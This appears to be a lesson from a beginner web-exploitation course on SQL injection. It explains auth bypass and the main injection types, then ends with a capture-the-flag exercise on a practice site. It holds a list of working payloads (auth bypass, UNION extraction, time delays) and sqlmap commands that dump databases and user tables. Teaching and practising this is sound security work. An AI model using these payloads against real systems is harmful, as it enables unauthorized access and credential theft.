DAY 2

WEEK 2 — WEB EXPLOITATION

SQL Injection

What is SQL Injection?

SQL Injection (SQLi) is one of the most common and dangerous web vulnerabilities. It happens when user input is directly inserted into a SQL query without proper sanitization — letting an attacker manipulate the query itself.

It's been in the OWASP Top 10 vulnerabilities list for over a decade. Understanding it is essential for both attacking and defending web apps.

How Databases Work (Quick Background)

Web applications store data in databases. When you log in, the server runs a query like this:

```
SELECT * FROM users
WHERE username = 'alice'
AND password = 'secret123';
```

If the server builds this query by pasting your input directly in, you can break out of the string and write your own SQL.

The Attack — Breaking the Query

Classic Auth Bypass

Normal login input:

```
username: alice
password: secret123
```

Malicious input using SQL Injection:

```
username: admin'--
password: anything
```

This turns the server's query into:

```
SELECT * FROM users
WHERE username = 'admin'--' AND password = 'anything';
                          ^^
                    -- comments out the rest!
```

Result	The password check is completely bypassed. You're logged in as admin!

Types of SQL Injection

Type	How it works	When to use
In-Band (Classic)	Error/output shown directly	Most common, easiest
Blind Boolean	True/false responses only	When no output shown
Time-Based Blind	Uses SLEEP() for delays	When app gives no feedback
UNION-based	Appends extra SELECT query	Extract data from other tables

🛠 Essential SQLi Payloads

```
-- Basic test (does it break?)
'
''

-- Auth bypass
' OR '1'='1
' OR 1=1--
admin'--

-- UNION attack (find number of columns first)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- Extract data with UNION
' UNION SELECT username,password FROM users--

-- Time-based blind
'; IF (1=1) WAITFOR DELAY '0:0:5'--    (MSSQL)
' OR SLEEP(5)--                        (MySQL)
```

🔧 Tool: sqlmap

sqlmap is an automated SQLi tool. Use only on authorized systems or CTF labs!

```
# Install
sudo apt install sqlmap

# Basic test on a URL parameter
```

```
sqlmap -u 'http://target.com/page?id=1' --dbs

# Dump a specific database
sqlmap -u 'http://target.com/page?id=1' -D dbname --tables

# Dump a specific table
sqlmap -u 'http://target.com/page?id=1' -D dbname -T users --dump

# With POST data (login form)
sqlmap -u 'http://target.com/login' --data='user=admin&pass=test' -p
user
```

🎯 Your Task for Today

🚩 **Flag Challenge — Exploit a Login Form**

1. 1. Go to: https://hackshield.onrender.com/sqli/
2. 2. Try the login form with username: admin and password: test
3. — Observe the error message.
4. 3. Try injecting: username: admin'-- password: anything
5. — Did you get your 1st FLAG?
6. 4. Now use Search and try to dump the id, username and password from users table
7. 5. In the Search field, type: 1' UNION SELECT id,username,password FROM users--
8. 6. See the dumped data - there's your flag!
9. — Did you get your Final FLAG?

📚 Reference Links

- PortSwigger SQLi Lab — Free Interactive Labs
- OWASP SQL Injection Guide
- sqlmap Official Docs
- HackTheBox — SQL Injection Fundamentals Module
- PentesterLab — SQLi Exercises